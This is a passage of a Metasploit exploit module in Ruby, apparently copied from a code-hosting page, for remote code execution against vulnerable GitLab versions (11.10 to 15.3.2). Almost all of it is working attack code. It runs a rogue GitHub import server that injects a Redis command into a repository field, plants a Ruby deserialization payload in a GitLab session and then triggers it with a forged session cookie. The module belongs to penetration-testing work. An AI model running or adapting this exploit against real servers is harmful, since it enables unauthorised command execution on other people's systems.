OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
|
||||
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
|
||||
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
|
||||
]
|
||||
)
|
||||
deregister_options('GIT_URI')
|
||||
end
|
||||
|
||||
def group_name
|
||||
@group_name ||= Rex::Text.rand_text_alpha(8..12)
|
||||
end
|
||||
|
||||
def api_token
|
||||
@api_token ||= gitlab_create_personal_access_token
|
||||
end
|
||||
|
||||
def session_id
|
||||
@session_id ||= Rex::Text.rand_text_hex(32)
|
||||
end
|
||||
|
||||
def redis_payload(cmd)
|
||||
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
|
||||
gitlab_session_id = "session:gitlab:#{session_id}"
|
||||
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
|
||||
# The command set
|
||||
# The gitlab session to load the payload from
|
||||
# The Payload itself. A Ruby serialized command
|
||||
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
|
||||
end
|
||||
|
||||
def check
|
||||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
|
||||
|
||||
vprint_status('Trying to get the GitLab version')
|
||||
|
||||
version = Rex::Version.new(gitlab_version)
|
||||
|
||||
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
|
||||
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
|
||||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
|
||||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
|
||||
)
|
||||
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
name: name,
|
||||
refs: references,
|
||||
info: [version]
|
||||
)
|
||||
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
|
||||
return CheckCode::Detected('Could not detect the version because authentication failed.')
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
return CheckCode::Unknown("#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
return unless @import_id
|
||||
|
||||
gitlab_delete_group(@group_id, api_token)
|
||||
gitlab_revoke_personal_access_token(api_token)
|
||||
gitlab_sign_out
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
print_error("#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
if Rex::Socket.is_internal?(srvhost_addr)
|
||||
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
|
||||
end
|
||||
|
||||
setup_repo_structure
|
||||
start_service({
|
||||
'Uri' => {
|
||||
'Proc' => proc do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end,
|
||||
'Path' => '/'
|
||||
}
|
||||
})
|
||||
execute_command(payload.encoded)
|
||||
rescue Timeout::Error => e
|
||||
fail_with(Failure::TimeoutExpired, e.message)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
|
||||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
|
||||
vprint_status("Session ID: #{session_id}")
|
||||
vprint_status("Creating group #{group_name}")
|
||||
# We need group id for the cleanup method
|
||||
@group_id = gitlab_create_group(group_name, api_token)['id']
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
|
||||
@redis_payload = redis_payload(cmd)
|
||||
# import a repository from GitHub
|
||||
vprint_status('Importing a repository from GitHub')
|
||||
@import_id = gitlab_import_github_repo(
|
||||
group_name: group_name,
|
||||
github_hostname: get_uri,
|
||||
api_token: api_token
|
||||
)['id']
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
|
||||
# wait for the import tasks to finish
|
||||
select(nil, nil, nil, datastore['IMPORT_DELAY'])
|
||||
# execute the payload
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, group_name),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => false,
|
||||
'cookie' => "_gitlab_session=#{session_id}"
|
||||
})
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def setup_repo_structure
|
||||
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
|
||||
blob_data = Rex::Text.rand_text_alpha(5..12)
|
||||
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
|
||||
|
||||
tree_data =
|
||||
{
|
||||
mode: '100644',
|
||||
file_name: blob_object_fname,
|
||||
sha1: blob_object.sha1
|
||||
}
|
||||
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
|
||||
|
||||
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
|
||||
|
||||
git_objs = [ commit_obj, tree_object, blob_object ]
|
||||
|
||||
@refs =
|
||||
{
|
||||
'HEAD' => 'refs/heads/main',
|
||||
'refs/heads/main' => commit_obj.sha1
|
||||
}
|
||||
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
|
||||
end
|
||||
|
||||
# Handle incoming requests from GitLab server
|
||||
def on_request_uri(cli, req)
|
||||
super
|
||||
headers = { 'Content-Type' => 'application/json' }
|
||||
data = {}.to_json
|
||||
case req.uri
|
||||
when %r{/api/v3/rate_limit}
|
||||
headers.merge!({
|
||||
'X-RateLimit-Limit' => '100000',
|
||||
'X-RateLimit-Remaining' => '100000'
|
||||
})
|
||||
when %r{/api/v3/repositories/(\w{1,20})}
|
||||
id = Regexp.last_match(1)
|
||||
name = Rex::Text.rand_text_alpha(8..12)
|
||||
data = {
|
||||
id: id,
|
||||
name: name,
|
||||
full_name: "#{name}/name",
|
||||
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
|
||||
}.to_json
|
||||
when %r{/\w+/public.git/info/refs}
|
||||
data = build_pkt_line_advertise(@refs)
|
||||
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
|
||||
when %r{/\w+/public.git/git-upload-pack}
|
||||
data = build_pkt_line_sideband(@packfile)
|
||||
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
|
||||
when %r{/api/v3/repos/\w+/\w+}
|
||||
bytes_size = rand(3..8)
|
||||
data = {
|
||||
'default_branch' => {
|
||||
'to_s' => {
|
||||
'bytesize' => bytes_size,
|
||||
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
|
||||
# using a simple string format for RESP
|
||||
}
|
||||
}
|
||||
}.to_json
|
||||
end
|
||||
send_response(cli, data, headers)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue